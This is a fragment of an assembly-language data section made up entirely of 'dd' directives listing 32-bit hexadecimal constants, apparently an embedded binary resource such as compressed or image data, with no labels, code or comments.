		dd 0D5C5FFD6h, 0FCD5C2DCh, 0C8FDD8BCh, 0DBBADFD9h, 0FFDCB7F8h
		dd 0CAE0D8CFh, 0D9D4E1DBh, 0FFDAC6DBh, 0D2E2DCCBh, 0DACBE2DAh
		dd 0FCDCC5FCh, 0D4E4DBD3h, 0DECEE5DCh, 0E0DDD8E5h, 0DAE8DFD7h
		dd 0E3C7E2DFh, 0E8E2D1FBh, 0CEE3E0DBh, 0E1D8FBE2h, 0EAE2D9E9h
		dd 0DDEAE4D3h, 0E7CBE5E3h, 0ECE6D5FFh, 0CFE6E4DFh, 0E7D6FAE7h
		dd 0FAE4DCEDh, 0E0FAE6D6h, 0E6E1E8E5h, 0E3E4EAE9h, 0EDF5E5E1h
		dd 0E7DFDDE4h, 0F0E9D9F0h, 0E2EAE7E2h, 0EADAF6E6h, 0EBE8E3F1h
		dd 0DBF7E7E3h, 0E9E4F2EBh, 0F8E8E4ECh, 0DCF8EADEh, 0EAE5F3ECh
		dd 0F4EEDDEDh, 0EAEEECE6h, 0EDE7F5EBh, 0FDF0DCEFh, 0EAF7EEE5h
		dd 0F1E4F2EFh, 0FFF3DFFFh, 0ECFAF1E9h, 0F2EDF4F1h, 0FBF1F0F5h
		dd 0EFF6F3EEh, 0F7F1F7F5h, 0FBF6F9F9h, 0F4FBF8F3h, 0F9F7FCF9h
		dd 0FCF8FAF6h, 0FEFDFAF5h, 0FBF6F7F8h, 0F9FCFAFEh, 0FBFFFDF7h
		dd 0FCFEFAFDh, 0FFFEF8FFh, 0FCFBFDFFh, 0FFFEFBFFh, 2CFCh
		dd 21D0000h, 80000F4h, 99700FEh, 20B0481Ch, 0A8CB6A41h
		dd 0B0C6BB51h, 0DA8643A1h, 489C4A22h, 8BB7A231h, 0DC6A3318h
		dd 0C7A3B1C8h, 8A43208Fh, 0A4B2491Ch, 532893C9h, 0B2C95CAAh
		dd 3097CBA5h, 48AC7A63h, 9B4DA6B3h, 535E730Fh, 0CFA0D098h
		dd 2A79039Fh, 61B0A85Ch, 90DA8851h, 512A5CDEh, 50A7D3A6h
		dd 4A9D4AA3h, 0ABD5AAB5h, 0B5362F58h, 0D31BCDA8h, 1A915FAFh
		dd 0E8B0C85Dh, 0F0884D0h, 0B43B5D0Eh, 70B0592Ch, 4B9D662Dh
		dd 0BBDDAEB7h, 0BDEAF378h, 5BAE171Ah, 13036CB7h, 61D4985Dh
		dd 0BF7DC3E1h, 91B7049Eh, 8E705631h, 38C6469Dh,	0BDE42AB9h
		dd 0D37B2B20h, 0E632F53Ch, 4B399A90h, 63B9FCF5h, 0ED7B0E2h
		dd 0F66A4C3Fh, 0A7D4EA68h, 8BC5363h, 0DBEDB6B9h, 368B73B8h
		dd 0EFB7BBA9h, 0BB75C0DFh, 78BC4E0Ch, 93C6CDEFh, 0BCA92EEFh
		dd 0CECCF139h, 4E8F0F73h, 0D94B7A5Dh, 66BE23D8h, 0F7BBBD58h
		dd 0FEC3E0EFh, 0BE4F1F8Bh, 0E8F3F9BCh, 0CF5FABD3h, 0F7FBBDBEh
		dd 9FCBE3F0h, 0FDBEBF4Fh, 0EBF3F8FBh, 0BFBFCFDFh, 600FFFFh
		dd 75382028h, 0C0807Ch,	8750800Ah, 0D834017Fh, 24150160h
		dd 0CE0D1C91h, 1D9B9851h, 40E00C17h, 7381C810h,	4C030385h
		dd 1F6D6120h, 64223886h, 0C030405Bh, 17948F06h,	82166F80h
		dd 337E62F3h, 80E357F2h, 0DEA8E638h, 1F01915h, 9CB5368Ch
		dd 0FD138111h, 234CB8DDh, 0DC610C14h, 66E64B8Dh, 5C9B0808h
		dd 4104C8F3h, 4CA5640h,	8632C86h, 89587C03h, 425C96A5h
		dd 94058716h, 84A3350h,	0E4C790A5h, 0E8EA6B6Dh,	0C6709BE6h
		dd 0AE035B69h, 28946DCh, 48D6E245h, 0D7364D04h,	42750626h
		dd 90038916h, 6D4650C9h, 0E850A851h, 0A2590A1h,	425D06D9h
		dd 0E3A288D6h, 0A59B59B5h, 0E9AA6672h, 0D015F8A6h, 0A4016F48h
		dd 1500C111h, 24CE01D8h, 0CA36D819h, 2AC0C04h, 1FE28D9h
		dd 2AD9029Ch, 0C436400Ch, 10180304h, 0C632AC82h, 9005C081h
		dd 884151D1h, 0E6B6E471h, 16400332h, 82C0AF80h,	13AE0693h
		dd 83A32B14h, 0AD1B0EC1h, 3030496Dh, 4C9F0700h,	0D76FA0DBh
		dd 68E0B24h, 49B6D4A3h,	0DB9AE4B3h, 0D4C5016Ch,	0B904CCB6h
		dd 382C4B09h, 8B2034D4h, 35013BBh, 0EEB9ADCEh, 97BFECAAh
		dd 8DE2FB7Ah, 6CABCECFh, 30041119h, 0D5B61A40h,	0EF642F7Bh
		dd 0B5EF2BEAh, 0ECEB32CAh, 0E0180100h, 43002501h, 32C53056h
		dd 0C330AC22h, 6AFAB5B6h, 0BAD6B3ACh, 0F2BAAE2Fh, 21AFECBAh
		dd 0C770BC27h, 333C8801h, 0B0C7564h, 72981441h,	4E7EB3EAh
		dd 36867028h, 0C6701AC6h, 0D02C7632h, 42E505E2h, 210B0476h
		dd 0D1901B8h, 0D900DC08h, 13802119h, 0B8DAB704h, 0CA0782C2h
		dd 244C009Ah, 40A228E0h, 0C204CB1Dh, 0ADB821C0h, 610508A9h
		dd 1CCE0D8Fh, 0B481D80Ah, 6C748602h, 6ADAFE36h,	194E0DB3h
		dd 0CC825012h, 0DC741511h, 837028DBh, 90BB4093h, 64007301h
		dd 38E6D78Bh, 532C0364h, 0E006315Bh, 6BDA77B6h,	0F42C383h
		dd 82C16DB5h, 0D7B5CD6h, 0CF868CB6h, 748D6358h,	0DE076DDBh
		dd 6DD06ECAh, 0F6D6E21Ah, 6FA3E879h, 64DC77DEh,	124C5CCFh
		dd 590EA2F0h, 2DE777EBh, 0DF17ECA3h, 55D4F516h,	0D6F59D5Fh
		dd 35FD749Fh, 2ECFC7EFh, 0D3C8EAEEh, 0C23D90Eh,	1871DD8h
		dd 0BE2CFF3Dh, 0B018577Dh, 0D84E09C0h, 27B2A9F1h, 3802315Eh
		dd 1F8C447h, 0C0371Fh, 43800499h, 0E00E42D6h, 0E5C9B03Ch
		dd 24D65005h, 2B82136Ah, 590C66D4h, 806D9363h, 9FC0751h
		dd 0D81A36B0h, 0D03E8902h, 301E02B1h, 96901E81h, 0E07C26Dh
		dd 7281281Ah, 368C8344h, 10803466h, 90846382h, 0E6FAC0B9h
		dd 420B26B6h, 0D8E08106h, 93900444h, 0FF98E01h,	91BB0080h
		dd 990602EAh, 59504E08h, 5C322DFEh, 9908670Ch, 85C3821Ah
		dd 8CA180E0h, 48ACA806h, 1282106Dh, 2815CC84h, 0A20A328h
		dd 0BBF536AFh, 0B1C0FE5Fh, 0FFDFEBFh, 0E008C532h, 0C5652F12h
		dd 8791021Dh, 64203026h, 0F1C1C09Ch, 0CB3E31B9h, 5415C438h
		dd 44008090h, 82AE0031h, 54F02C8Ch, 4C400B0Bh, 3B0D401h
		dd 47E11AD8h, 1C02280Ah, 3154881Ch, 180750ECh, 9675404Ch
		dd 6A2EDC83h, 0B4048BB3h, 400341CDh, 70E60780h,	0A38248A9h
		dd 87030F00h, 0B1D0102Ch, 32124C04h, 20C8495h, 0DF44F94Eh
		dd 21042294h, 0B487401Ch, 0D6592E21h, 29909686h, 71460783h
		dd 0A064438Dh, 2531B576h, 8E092D25h, 1223811Eh,	22C702CDh
		dd 1CC8F91Bh, 0B57572B6h, 466D6501h, 0AE4F2CA9h, 94C898C9h
		dd 59AB30E4h, 607C151Bh, 0E1E25908h, 4D494327h,	36F35919h
		dd 21070482h
		dd 444861C1h, 8E91922Ah, 79276484h, 8273BAB8h, 0FEB50183h
		dd 0DA2B8DA8h, 0C27EC6F8h, 83718A7h, 884C005Eh,	608C704Bh
		dd 1107480h, 0CA417638h, 6EE8015h, 1C6D02Ah, 430E0180h
		dd 2702A020h, 0CC244218h, 51073948h, 0DAA0814Bh, 57AF4120h
		dd 94798C1Bh, 67142684h, 8231966Eh, 146427Ch, 3126538Ch
		dd 62397A61h, 501E87Ah,	3221C0E0h, 7A931B77h, 43EF51B4h
		dd 8A2C88C1h, 519A8D51h, 0D4BB3487h, 9B875348h,	44750428h
		dd 8DE8FD3Eh, 582318Ah,	57638C64h, 492DE81Ch, 3685D2AAh
		dd 9D11A1F4h, 9A2F4568h, 95328DD1h, 69452A9Eh, 4FC1AE6Dh
		dd 3D95BA7Fh, 4B9EB8BBh, 420AE1C1h, 28514DCDh, 36046350h
		dd 8D5900C1h, 8910102h,	0B518051Eh, 0A3828E50h,	4DD4AC01h
		dd 80846ECFh, 71E2BA50h, 6E6C4457h, 2158900Ch, 2A1B46DAh
		dd 76642260h, 6C519B59h, 34DB360h, 249D6787h, 1648DC01h
		dd 0C53B8E37h, 5833212Ah, 5DD51E4Ah, 51FEAD1Ch,	5909F563h
		dd 0B526DEA4h, 656C3DABh, 23DA2B2Dh, 0B38AE9F0h, 0CF63CC85h
		dd 0F6BD9B6Ah, 1580B455h, 6177612Ch, 9342DB58h,	6C700987h
		dd 5D4ADF5Bh, 6C8024F0h, 5C4C0Bh, 142880C6h, 8701F088h
		dd 4CA04018h, 42CF8270h, 38220306h, 593CE501h, 0E09AC306h
		dd 44A1B50Bh, 58AA40E1h, 8D407CDBh, 8D5D3A1Eh, 0F9DF1BDEh
		dd 0F4416072h, 4C2B8DBDh, 4C842B0h, 0F990BB81h,	8C0C0C82h
		dd 18287060h, 6D082132h, 1B77DE0Eh, 0BE4642FEh,	98139B5h
		dd 0F6525048h, 0B15256BEh, 497DCDADh, 0DE56DFA4h, 861CC346h
		dd 81C1858Ch, 0C6DE2BE1h, 0B11D1C1Bh, 55DC4B14h, 0BCD79070h
		dd 7AAF40E0h, 0DAB951C1h, 0C2B897B4h, 46C02E7Bh, 4D145F00h
		dd 0A648BAB7h, 101C124Eh, 0A35C5285h, 1188D18h,	80A5941Dh
		dd 0E832C40h, 6416E80Eh, 6480D060h, 4400210Eh, 46007032h
		dd 0EC1601C4h, 40631802h, 1F61FE80h, 2C3980B1h,	88171263h
		dd 658D89A2h, 80283E1Bh, 404B480Fh, 89700EA4h, 0CDD9B134h
		dd 19628E70h, 640A302Ah, 7CBE6138h, 0E6D934Eh, 0DB2D0171h
		dd 381716A6h, 210C3504h, 5A434501h, 0F45694D2h,	8A70462Ah
		dd 221CC62h, 9FCDBC87h,	0DAE71CDFh, 0A6002218h,	0CF994C82h
		dd 2E33669Ch, 0C8971BCCh, 7D128CC0h, 0D9E33B45h, 0B2067A0Eh
		dd 9B5D51A9h, 70DA0751h, 45024814h, 3BEB57B5h, 0B65239E7h
		dd 0C397CDB5h, 0AB31B5ACh, 5668CCDAh, 0CC439033h, 0C03C4A43h
		dd 723E76CAh, 9CADB792h, 1407C39h, 7C03803h, 1CA326FCh
		dd 0D8038B68h, 227CC85h, 18C860B0h, 5D730062h, 57D60045h
		dd 200C0F0Ah, 0EC3071A7h, 80E586DCh, 6DB9CD13h,	0B40339B7h
		dd 36066A4h, 0FC0E7188h, 0C01077F6h, 19AD59CDh,	380E36FCh
		dd 0CE8D69h, 19C80722h,	0D0D7141Ch, 8080AFC5h, 0D4207802h
		dd 86B841B8h, 0E0DFCFEh, 0DEB0980Fh, 0BE40E6F7h, 0BB4601h
		dd 0EE56048h, 48DE00Fh,	0BB82221Eh, 0B72652D8h,	0ADFBC88Dh
		dd 0A0704BD2h, 1C332300h, 0F36027CDh, 0DE1A9B64h, 0BD3791B5h
		dd 0E6EF8DEDh, 0B5AD333Eh, 1E8643E1h, 729E04A0h, 0C1ECEAFBh
		dd 8B35BAD4h, 9D7BAEF5h, 0EF98A53Ah, 1E2EC7D7h,	723154Bh
		dd 0DABB25DEh, 51B7ED7h, 0DA176124h, 980704D8h,	2BBAF6CDh
		dd 453952C7h, 0FEF7DD86h, 0C07043F5h, 40A00300h, 0F84EF814h
		dd 0F0FE1BC2h, 0E2BC4F88h, 0C6F8CF17h, 90F1FE3Bh, 0EBE4BC8Fh
		dd 64AF15E3h, 0CF98F2E7h, 0CF37E6BCh, 0FE7BCEF9h, 0BD0FA0F3h
		dd 0FA4F47E8h, 0F2A763D2h, 59CAF1D5h, 0D6FAC280h, 0B0F5FEBBh
		dd 67ECBD8Fh, 0DBDAFB4Fh, 0CFB8F6FEh, 0CF77EEBDh, 0FEFBDEFBh
		dd 0BE0FC0F7h, 943F65F0h, 1BC744AEh, 320818D7h,	0E6FCCF96h
		dd 0D0F9FF3Bh, 0A7F4BE8Fh, 5BEAFD4Fh, 0CFD8FAFFh, 0FEB7F6BEh
		dd 7BEEFDCFh, 0FE0FBFFh, 4FC7F8BFh, 0FF9BF2FEh,	0FEC7E8FCh
		dd 21D1AE40h, 196578E3h, 3E47E0FCh, 0FA8F71F2h,	0F8FEFFDBh
		dd 0F7FEBFCFh, 0FBFEFFCFh, 1800FFFFh, 80380280h, 6805804h
		dd 98088078h, 80B80A80h, 0E80D80Ch, 181080F8h, 80081281h
		dd 0CB7F17F3h, 81C97C60h, 0F97F07Ch, 0F20F50F5h, 182081F0h
		dd 82382282h, 26825824h, 98288278h, 82B82A82h, 2E82D82Ch
		dd 183082F8h, 83383283h, 36835834h, 98388378h, 83B83A83h
		dd 1D82A83Ch, 0B0FC0F98h, 1CA7EC0Ch, 1C1080DEh,	90F10F28h
		dd 84B84A84h, 4E84D84Ch, 185084F8h, 85385285h, 56855854h
		dd 98588578h, 85B85A85h, 5E85D85Ch, 186085F8h, 86386286h
		dd 66865864h, 50F28568h, 1090F90Fh, 0DA1C47EDh,	0C0C80D40h
		dd 83D0F181h, 76875874h, 98788778h, 87B87A87h, 7E87D87Ch
		dd 182E87F8h, 0C886A0Fh, 6E5290D4h, 0C8FE0CB8h,	8480F70h
		dd 88D88C88h, 9088F88Eh, 38928918h, 82D89489h, 0C80F7873h
		dd 0A1CA8170h, 88A8880Dh, 0A0895873h, 38A28A18h, 8A58A48Ah
		dd 9787D8A6h, 18868998h, 88989C1Ch, 0B08A788Bh,	38B28B18h
		dd 8B58B48Bh, 9A8A988Eh, 0E8AD1C98h, 8BD8B689h,	0C08BF8BEh
		dd 88C28C18h, 1C08AB8Bh, 0C28AF8BBh, 0B8CA8C98h, 8CD8CC8Ch
		dd 9B8C4879h, 0E8C889D8h, 8D58D48Ch, 0D88D78D6h, 989888B8h
		dd 8C71C68Bh, 0E08D989Fh, 38E28E18h, 8D08A38Eh,	0DF8D28BAh
		dd 0B8EA8E48h, 8ED8EC8Eh, 0DD8E6874h, 38EE8E88h, 8F58F48Fh
		dd 0F08288F6h, 78DE1C58h, 8FD8FC8Fh, 0F98E48FEh, 98AE8878h
		dd 9058FF8Eh, 0BF907906h, 28AC9018h, 90D9088Fh,	0A490F90Eh
		dd 0C8C690A8h, 91591090h, 7E917916h, 0B1BF9128h, 91D9188Fh
		dd 3991F91Eh, 0C1BE91A8h, 92592091h, 0F8927926h, 58DB0F28h
		dd 91491B8Ch, 3092F928h, 2292FE59h, 19241BD9h, 93793693h
		dd 0BA933910h, 0D9389351h, 8FD93E93h, 3C1B993Ah, 594493F9h
		dd 9418EB94h, 469431B8h, 694C94B9h, 1B79488Dh, 5294D94Ah
		dd 0F8C19539h, 92E59794h, 0E71282Ah, 40010F22h,	87C95D82h
		dd 0D83A95Fh, 495B95E2h, 88095A89h, 6982151Eh, 0F96B8209h
		dd 96A96D81h, 7B96382Ch, 48289618h, 9768F397h, 6395A827h
		dd 68769789h, 9584B795h, 7C97682Dh, 49838C09h, 88C98397h
		dd 23987978h, 0C82698A8h, 96E98697h, 9195C970h,	0C83198F9h
		dd 98A83D98h, 998EB996h, 0B82298B9h, 97E83899h,	71980422h
		dd 0E8CD99D9h, 89299C98h, 2F9A3989h, 96C9A68h, 9929AD99h
		dd 309949AFh, 883999E8h, 9B48FF99h, 0CF9B99AFh,	18AA92A8h
		dd 8329038Dh, 7295C982h, 39C29B09h, 9B09BA9Ch, 7295D96Dh
		dd 596C9C99h, 9CE99296h, 6F96599Dh, 299C9C49h, 9919D19Dh
		dd 0CB9CC9AEh, 0C79D09FEh, 0E9C29C89h, 9E19D296h, 0D396B9C6h
		dd 0F9D49A49h, 9B299495h, 0E49E59B9h, 99CA9CE9h, 9939D698h
		dd 909AE9EEh, 0A9619699h, 9AD9C69Dh, 0DF9B19F3h, 9869EF9h
		dd 0A0196F9Dh, 0C39CD9DCh, 69FA9FE9h, 9A498D9Eh, 34A03A00h
		dd 24279A08h, 98282B9Ah, 0D89D99F7h, 29F59F49h,	9E89BA9Fh
		dd 139E8A16h, 0B9DEA08Ah, 0A05A0398h, 179DF9D4h, 0D9D9A25Ah
		dd 0A29A16A1h, 1FA289C8h, 0AA1B9E7Ah, 9E99A7A2h, 14A15993h
		dd 0CA2C9DDAh, 97095EA1h, 2EA329C1h, 1A1A9C4Ah,	9E0A2C9Bh
		dd 0CDA409FCh, 7A35A439h, 0A23A2DA4h, 0CFA22A3Dh, 0AA39A1E9h
		dd 9EAA1D96h, 51A0E835h, 0FA1E9599h, 0A5198CA3h, 499DDA33h
		dd 0CA2AA3FAh, 0A4C98DA3h, 49A58A47h, 0A3DA46Ah, 0A19527A5h
		dd 4FA4BA5Bh, 0CA2FA09Ah, 9E6A42A6h, 4AA6AA59h,	5A41A6FAh
		dd 0A5EA60A3h, 489A7A5Dh
		dd 5A60A7AAh, 975A76A6h, 0FEA1FA6Bh, 81A7CA77h,	4832A5CAh
		dd 0A56A10A5h, 0F9A5EA15h, 4A1C9D89h, 0A839D79Eh, 7AA86A7Eh
		dd 4A87979Ah, 9F1A5DA8h, 6E9EC9E0h, 712A99Ah, 0A99A73A3h
		dd 7C97BA3Eh, 39EBA8FAh, 0A9CA68A8h, 0A09CB9FFh, 69A9AA4Ah
		dd 0AB2A95A6h, 5AABA45h, 4A7F987Ah, 0A4EA30A6h,	9FA699E9h
		dd 0A8DC9BC9h, 829A8B8Fh, 24A669C1h, 0EA5C9D5Ah, 0AB4A5A98h
		dd 31ABBA57h, 1A3EA90Ah, 0AB3A28ADh, 6BA96A9Fh,	0DA4E9ACAh
		dd 0AD9ACCACh, 7FA6DA12h, 9A07A34Ah, 0AD1A7BAAh, 94A5FA70h
		dd 3A7DA6FAh, 0AB5A75A9h, 0EBA79ADAh, 1AAAABCAh, 92CAC092h
		dd 82AC3923h, 9AA2A8DAh, 0AB8A85A3h, 74A67AE9h,	0AADBAD8Ah
		dd 0A4DAE19Ch, 0CEAEFAE5h, 0DA8E9EAAh, 9C7AE0A6h, 0C9AE8AB9h
		dd 0BAF1AA7Ah, 0A87B02ABh, 0B1B05AEEh, 0EB08AFDAh, 0B0AAC6B0h
		dd 139F4AB0h, 0FAFFAF7Bh, 9BEAF38Eh, 0ED9958BCh, 0DA74B1AAh
		dd 0AE7A78AFh, 0A2FE0B27h, 0FEAD3A90h, 9AAEA62Ah, 0B31A88B2h
		dd 85B2CB1Eh, 0FB16AD69h, 0B21A36ACh, 71B19B0Ah, 0BB09A8EAh
		dd 0B42AEAB3h, 18ACBA1Bh, 5AF8B2CBh, 0A98B1FAEh, 0DA52B4Bh
		dd 0F8E7B23Ah, 0B4FB269Bh, 0ABAFCA04h, 59FBB0CAh, 964A379Ch
		dd 0E3A20A62h, 0DAF09C59h, 0A23AA6A8h, 12AEF9E5h, 0DA91AB7Ah
		dd 9F99F7AAh, 6CA9DAA1h, 0CAA7B59Bh, 0B07B71A0h, 2DB699DCh
		dd 5A9195BAh, 9A9B5FAAh, 8FB13A0Bh, 0B75B7F9h, 0B60B72B7h
		dd 25B36B5Dh, 0CB1EAC58h, 0A8A833A0h, 58926B54h, 88C9954Bh
		dd 895B359Bh, 8E87FB94h, 5B90B25Bh, 984B92ADh, 978A6B55h
		dd 1B52919Bh, 925B8F8Fh, 0CAB9DACAh, 0DBA1BA18h, 8A0AA887h
		dd 0A88D3B99h, 1BB2BB1Bh, 0AC2BA391h, 0B8BB3BA5h, 0F891BB9Bh
		dd 0BBA904BAh, 7CBBFBBEh, 3BC0BBC8h, 878BC4BCh,	0A78B2BC2h
		dd 0E9B3968Bh, 0BCCB9CACh, 18B0FAD9h, 0D9D19679h, 988981BAh
		dd 0BC78FEEAh, 0D5B178B1h, 0BAB88DBh, 0B1CB20B0h, 178F4BABh
		dd 0FA86B61Bh, 99E833BDh, 0B19C0A85h, 0A8B0BD88h, 0BD69AABDh
		dd 89B0BB9Fh, 2BE1B20Bh, 0ADCB10BEh, 0E8834BEFh, 0B9ABB95Bh
		dd 902BB5BEh, 0DB9A3B9Ah, 29E2A229h, 9CCAC5B7h,	84B82C06h
		dd 8C03A32Bh, 0B62B67ADh, 0F39E3B42h, 0DA02B5B9h, 0B57ADEB4h
		dd 39F5B34h, 0AADCC06Ch, 0C1AC18C0h, 21B6BBEEh,	5B3CB6EBh
		dd 0C0E9E297h, 5CB84C1Eh, 6B59C2ABh, 0C2CC1AA0h, 0FC31C2Bh
		dd 1BEC88FCh, 0AB7B87A1h, 0F1A3BAB4h, 8AD7C37Ah, 0AD4B28A1h
		dd 18ABA9EBh, 6A79ACBBh, 0B0DB1F99h, 4B48B45h, 0EB38B0CBh
		dd 0A0AB66C3h, 80BDEB38h, 0DC3FBF3Ah, 0AE0B4CB1h, 56A44B6Dh
		dd 5894B87Ch, 0C56A8CC3h, 4AAF9B49h, 0BC3DC5CAh, 0BCEC63ADh
		dd 14C46A3Ch, 0B4EB4ABh, 9ACB34C6h, 25C52A77h, 8C61C67Ch
		dd 0B5FAB6A4h, 0B3B50C6Dh, 6AE4C6AAh, 0C70C6EAEh, 890BFCFEh
		dd 77AC4C5Eh, 9C7BB0ECh, 0C41A9CA1h, 7DB43C15h,	5B2FABEAh
		dd 0B86B46ADh, 50ABEB14h, 6C6CB3FBh, 0AA2C1CC8h, 0FEC92B8Ah
		dd 9B44B37Ah, 0C84C54B3h, 0D3B05C55h, 0EA21C11Bh, 0C12B70B3h
		dd 0A1A71B33h, 0BDFC838h, 0C4BC48B0h, 0A1BE3AE4h, 0CAE3C8CCh
		dd 0ADFAA8B9h, 97AE3BE4h, 6C96B28Ah, 0C9EC98C6h, 12B2ECB2h
		dd 8A26CC0Bh, 0B1CCA0C4h, 0A4C7AA9Fh, 5C7DAD0Ah, 0AE2C97CBh
		dd 0FFCAD9F0h, 0FBB790BBh, 0B40A75C5h, 3BC479B2h, 1A63BD0Ch
		dd 0BDABCFCDh, 5BCBCCBDh, 1CD8CB0Ah, 0AE8C6FCBh, 0E6A4FC16h
		dd 0DCC7C9DCh, 0C58CCAC4h, 0DFC7EBF7h, 0C79AAFAh, 0BCECF5CEh
		dd 6DCAE880h, 7B2AB44Ch, 0AE2CABA6h, 1C8CA63h, 9CEECCCDh
		dd 0B41CE4C5h, 99AD7C44h, 9AECCDA9h, 0B03AA5CEh, 5A46B56h
		dd 1CA8AFADh, 0CACBF2D0h, 9C19CD9h, 4CC2D03Dh, 0B79CFEC7h
		dd 22BF5CB6h, 0B2492BBh, 0FE1CD8BBh, 0D2AB88C3h, 7EB7AA29h
		dd 2D2EC30Ch, 0D2DC10B6h, 60C1FB74h, 0ECAAD22Bh, 0B7FC149Dh
		dd 3CABCCCFh, 0DB2FCE2Dh, 0C29AB8B4h, 34CEED33h, 6CE3D39Dh
		dd 0A68C30B0h, 0AAB8BD4Bh, 2A2BAADCh, 0CBAD37C2h, 30A9DD3Fh
		dd 5CFC892Dh, 0D248CEBCh, 0BBD5ABE7h, 7913CD5Bh, 8D4D5ECDh
		dd 63BEAD5Ch, 0DD608B7Dh, 0D67D6292h, 0B3D65BA9h, 9D6CD6E9h
		dd 0AF5D69A8h, 76D71D6Bh, 981FD77Dh, 0D7BD78D5h, 7CD7AD5Eh
		dd 0EBC0D7FDh, 0D83D80D7h, 84D82BB8h, 6B9DD87Dh, 0D8BD88D8h
		dd 8CD8A94Dh, 0E944D8FDh, 0D93D90D8h, 94D92937h, 6928D97Dh
		dd 0D9BD98D9h, 9CD9A91Fh, 0E916D9FDh, 0DA3DA0D9h, 0A4DA290Dh
		dd 68FFDA7Dh, 0DABDA8DAh, 0ACDAA8F6h, 0E8EDDAFDh, 0DB3DB0DAh
		dd 0B4DB28E3h, 68D8DB7Dh, 0DBBDB8DBh, 0BCDBA8CEh, 0E8C9DBFDh
		dd 0DC3DC0DBh, 0C4DC28BEh, 68B3DC7Dh, 0DCBDC8DCh, 0CCDCA8A6h
		dd 6CD4DCFDh, 1BFE53D2h, 0DD5DD0C0h, 0D6DCE8CCh, 2D68DD9Dh
		dd 0DD4BA4DDh, 0BDDDFDDAh, 3DE0DD88h, 0DE287ADEh, 75DE7DE4h
		dd 0BDE8DE68h, 0DEA83ADEh, 53DEFDECh, 6934D73Ah, 0DF5DF0AFh
		dd 3BDF2CFBh, 0BDF6DF49h, 0DEE87BDFh, 29DFFDFCh, 0EBB6DDC9h
		dd 0E05E00DDh, 0E029BBh, 0BE06D28Ch, 0DF8DE9E0h, 0CDFA942h
		dd 8B51E11Eh, 0E04CD6E0h, 36E17E12h, 0FE18DFE8h, 0E1BE1ADFh
		dd 1EE1DDFBh, 2D96DF5Eh, 8A0D4ABDh, 71BE6D70h, 0FE27B589h
		dd 0CB9835BCh, 6FBDCB8Ch, 5C8B87EBh, 91ED2CB8h,	0A7C73E23h
		dd 7A08E2B8h, 0E3AAA3B9h, 25CC9875h, 0DBE5BACEh, 0CA8BF9CFh
		dd 0FD20D1Dh, 3A72E379h, 0D02E3E8Bh, 4DA6EBDBh,	1CCA997Eh
		dd 0E2CBCBE5h, 2DCA2CF1h, 0EE48C75Bh, 0D0CE4A90h, 67E34D4Fh
		dd 0DA6CC2EBh, 0E5F9FAC0h, 2BE35D36h, 6E68E62Ch, 0B63CE59Fh
		dd 6DC2C9F8h, 0DBADC04Bh, 0BF3C249Eh, 4BAC7C89h, 8D52C13Ah
		dd 29CFFEBFh, 0B75E74D5h, 40E47C33h, 4D35C32Ch,	0D56C20E6h
		dd 2FC07C1Fh, 3E5D88DEh, 0CD1CC8A4h, 0FFABDA4Ch, 0DC87C4AAh
		dd 0E83CACB3h, 2DC42CCFh, 2B3EE79Dh, 0C53D2FE9h, 0DDA139ECh
		dd 7E9ECEFAh, 0C3CA31D0h, 8FCA2C5Bh, 7D07E96Eh,	0A7BD08C3h
		dd 0A2C81C3Ah, 6D61E14Bh, 0E31979E1h, 0F2EA0E98h, 0DC95ACCCh
		dd 0D2FC62EBh, 9AD1FCE8h, 0AEC1C9EEh, 0D4AD40E5h, 14B79B5Bh
		dd 0C40CE3Ah, 0D0EC8E9Fh, 46C68CCDh, 0FCCEC91Eh, 0E95CE8E9h
		dd 0ED58CB7h, 9E10949Eh, 0E66B6BD1h, 8FB5CE78h,	7EBFEABAh
		dd 0B699EE9Eh, 8EA76CA7h, 3EC3E4ECh, 0AEAC94CBh, 9BB3AEC6h
		dd 0EA64ED89h, 0E31C89A7h, 0E2ED0B35h, 0ABF4ECCEh, 0ED5D31B4h
		dd 0FAB6FE48h, 5EFBECAEh, 0E4BE8D89h, 0FCA50C17h, 2D1BEE4Bh
		dd 0EC8EA3D0h, 2BF09E46h, 0CEE5AC8Bh, 0F01ED8AEh, 0DCB2ACFAh
		dd 9CD2EA2Ch, 0D13B07D1h, 88E56F0Dh, 0BE3BEBEBh, 1EE5EBFEh
		dd 8E5CDCCBh, 0DD950EDBh, 0CF27EF9Eh, 0C6ECAFCEh, 0F7F30ED3h
		dd 0EF25B1BCh, 0F15D16E8h, 0F9CC6E6Dh, 2CDBAB1Ch, 0EC5AE1ADh
		dd 72EFAE56h, 0CEA9B91Ch, 0F2FD06EAh, 6D3DB01h,	5957F2BFh
		dd 0EBCBCDD7h, 91EC5AB5h, 2F20F53Eh, 0E99F32D2h, 53D11CA3h
		dd 4D13F23Ch, 0CBBB11F5h, 0D3B31B32h, 0E43ECDAh, 0C76EA8D1h
		dd 0F3E82EACh, 6C66F18Ch, 0C34D1CF6h, 5097FF4Eh, 8B73CA1Fh
		dd 0E61E67D4h, 97D56D32h, 0CD4EC08Ah, 0D4CB83B7h, 4D35CDBh
		dd 9BE0A9AAh, 0E71D2AECh, 43D36C64h, 3B77B61Dh,	0D47F7CB6h
		dd 85F92C72h, 0E9C9D2CFh, 0D44ECFB6h, 3EE86E61h, 0BD41B7DDh
		dd 0C82E68C9h, 759A1F73h, 6D9CE26Fh, 0E20E18F4h, 0B8E54837h
		dd 0AE17FA8Bh, 0FAC836FAh, 21BC9BB3h, 0BE21FB0Eh, 0FB7FB6DEh
		dd 0BAFB9DE7h, 0DFBCDE3Fh, 0F07DDFFBh, 0EBCCBF19h, 0EB2F51Ch
		dd 0DB6D71FCh, 11BEEB94h
		dd 0FE2DF6DAh, 0ABB1FC8Eh, 0F22BFDFCh, 0F1BE9BCDh, 0D953FD0Bh
		dd 9F8EFFE5h, 479FEC22h, 0BC2DD55Ch, 0D309EFF7h, 0D8D4DC27h
		dd 8E4A938Fh, 0B43EA5D0h, 73B8BE94h, 1C9FC5ABh,	931FE7F7h
		dd 0DFCF0FE9h, 3E90CB3Ch, 0FD6BD0F3h, 0A3D95FF3h, 8100A0FFh
		dd 78BC9EECh, 441E0CF2h, 60F098h, 36170C83h, 6231100Ch
		dd 1D0E8443h, 10F8B3CAh, 1889C4A3h, 78BC2A2Bh, 8848E3D1h
		dd 0A44A2B1Ch, 42A450B8h, 0BE5D2D96h, 0E6531984h, 6D359A4Ch
		dd 5399C4DEh, 3D9E4EE7h, 0EA04FE7Dh, 643DE0B3h,	4381B4CBh
		dd 0D2E9549Ah, 996DAA4h, 0A3337824h, 532995C6h,	353AB486h
